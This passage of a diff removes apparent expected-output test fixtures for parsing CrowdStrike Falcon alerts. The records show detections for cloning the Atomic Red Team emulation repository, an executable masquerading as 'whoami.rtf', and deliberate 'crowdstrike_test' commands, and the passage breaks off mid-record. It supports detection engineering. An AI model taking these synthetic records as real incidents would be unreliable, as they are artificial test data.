-                "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
-                "GrandparentImageFileName": "sshd",
-                "GrandparentImageFilePath": "/usr/sbin/sshd",
-                "HostGroups": [
-                    "44be50f58ccfcfcfcfcfcfcfcffc"
-                ],
-                "LocalIPv6": "2a02:cf40::",
-                "MACAddress": "02-42-d8-66-fe-03",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "-bash",
-                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": true,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": true,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 272,
-                "PatternId": 30115,
-                "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
-                "Severity": 70,
-                "SeverityName": "High",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Malware",
-                "Technique": "Malicious File",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "c8d1292a8a904216aa25ab728f4b45fd"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "/usr/bin",
-                "hash": {
-                    "md5": "675853ca01ec441df7a015b91a7e1272",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
-                },
-                "name": "git",
-                "path": "/usr/bin/git"
-            },
-            "host": {
-                "hostname": "linux-vm",
-                "mac": [
-                    "02-42-D8-66-FE-03"
-                ],
-                "name": "linux-vm"
-            },
-            "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
-            "process": {
-                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "1719309930613520072",
-                "executable": "/usr/bin/git",
-                "name": "git",
-                "parent": {
-                    "entity_id": "1719308637781199091",
-                    "executable": "/usr/bin/bash",
-                    "name": "bash"
-                },
-                "start": "2024-06-25T10:05:30.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
-                    "675853ca01ec441df7a015b91a7e1272"
-                ],
-                "hosts": [
-                    "linux-vm"
-                ],
-                "ip": [
-                    "172.17.0.1"
-                ],
-                "user": [
-                    "azureuser"
-                ]
-            },
-            "rule": {
-                "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
-                "name": "Known Malware"
-            },
-            "source": {
-                "address": "172.17.0.1",
-                "ip": "172.17.0.1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "azureuser"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "sshd:devuser@pts/0",
-                "GrandparentImageFileName": "sshd",
-                "GrandparentImageFilePath": "/usr/sbin/sshd",
-                "MACAddress": "42-01-0a-80-00-18",
-                "Objective": "KeepAccess",
-                "ParentCommandLine": "-bash",
-                "PatternDispositionDescription": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": true,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": true,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 272,
-                "PatternId": 145,
-                "PlatformId": "3",
-                "PlatformName": "Linux",
-                "SensorId": "4ebcabee560d4345b025d6c732656ba9",
-                "Severity": 50,
-                "SeverityName": "Medium",
-                "SourceProducts": "FalconInsight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "DefenseEvasion",
-                "Technique": "Masquerading",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "4ebcabee560d4345b025d6c732656ba9"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 47,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "/home/devuser",
-                "hash": {
-                    "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490"
-                },
-                "name": "whoami.rtf",
-                "path": "/home/devuser/whoami.rtf"
-            },
-            "host": {
-                "hostname": "navnit-test-instance",
-                "mac": [
-                    "42-01-0A-80-00-18"
-                ],
-                "name": "navnit-test-instance"
-            },
-            "message": "Anexecutablewasrunwithacontradictingfileextension",
-            "process": {
-                "command_line": "./whoami.rtf",
-                "end": "2025-07-24T10:17:43.000Z",
-                "entity_id": "1753352263802791400",
-                "executable": "/home/devuser/whoami.rtf",
-                "name": "whoami.rtf",
-                "parent": {
-                    "entity_id": "1753351172854337800",
-                    "executable": "/usr/bin/bash",
-                    "name": "bash"
-                },
-                "start": "2025-07-24T10:17:43.000Z",
-                "uptime": 0
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490",
-                    "3e4129c7bb0c01793aa9ecad38ccb4d0"
-                ],
-                "hosts": [
-                    "navnit-test-instance"
-                ],
-                "ip": [
-                    "10.128.0.24"
-                ],
-                "user": [
-                    "devuser"
-                ]
-            },
-            "rule": {
-                "description": "Anexecutablewasrunwithacontradictingfileextension",
-                "name": "SuspiciousActivity"
-            },
-            "source": {
-                "address": "10.128.0.24",
-                "ip": "10.128.0.24"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "devuser"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "cmd  crowdstrike_test_medium",
-                "GrandparentImageFileName": "cmd.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "HostGroups": [
-                    "6b15afc3ea3a42ed810b5c163e490a9d"
-                ],
-                "MACAddress": "ba-d0-00-ba-d0-00",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "cmd  crowdstrike_test_low",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 10307,
-                "PlatformId": "0",
-                "PlatformName": "Windows",
-                "SensorId": "cff45d56127743a593792fb968dac907",
-                "Severity": 10,
-                "SeverityName": "Informational",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Falcon Overwatch",
-                "Technique": "Malicious Activity",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "cff45d56127743a593792fb968dac907"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
-                "hash": {
-                    "md5": "d53f596e5ea7117ac18aae9f9bd8a481",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "hostname": "dave-win10-3",
-                "mac": [
-                    "BA-D0-00-BA-D0-00"
-                ],
-                "name": "dave-win10-3"
-            },
-            "message": "An informational level detection was triggered on this process for testing purposes.",
-            "process": {
-                "command_line": "cmd  crowdstrike_test_informational",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "43455859437",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "name": "cmd.exe",
-                "parent": {
-                    "entity_id": "43450917603",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "name": "cmd.exe"
-                },
-                "start": "2025-07-15T10:29:41.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682",
-                    "d53f596e5ea7117ac18aae9f9bd8a481"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "description": "An informational level detection was triggered on this process for testing purposes.",
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "address": "10.0.0.13",
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "cmd  crowdstrike_test_high",
-                "GrandparentImageFileName": "cmd.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "HostGroups": [
-                    "6b15afc3ea3a42ed810b5c163e490a9d"
-                ],
-                "MACAddress": "ba-d0-00-ba-d0-00",
-                "Objective": "Falcon Detection Method",
-                "ParentCommandLine": "cmd  crowdstrike_test_medium",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 10306,
-                "PlatformId": "0",
-                "PlatformName": "Windows",
-                "SensorId": "cff45d56127743a593792fb968dac907",
-                "Severity": 30,
-                "SeverityName": "Low",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Falcon Overwatch",
-                "Technique": "Malicious Activity",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "cff45d56127743a593792fb968dac907"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
-                "hash": {
-                    "md5": "86920ea0b350c9a3e3752a6aba6e1143",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "hostname": "dave-win10-3",
-                "mac": [
-                    "BA-D0-00-BA-D0-00"
-                ],
-                "name": "dave-win10-3"
-            },
-            "message": "A low level detection was triggered on this process for testing purposes.",
-            "process": {
-                "command_line": "cmd  crowdstrike_test_low",
-                "end": "1970-01-01T00:00:00.000Z",
-                "entity_id": "43450917603",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "name": "cmd.exe",
-                "parent": {
-                    "entity_id": "43448891811",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "name": "cmd.exe"
-                },
-                "start": "2025-07-15T10:29:28.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
-                    "86920ea0b350c9a3e3752a6aba6e1143"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
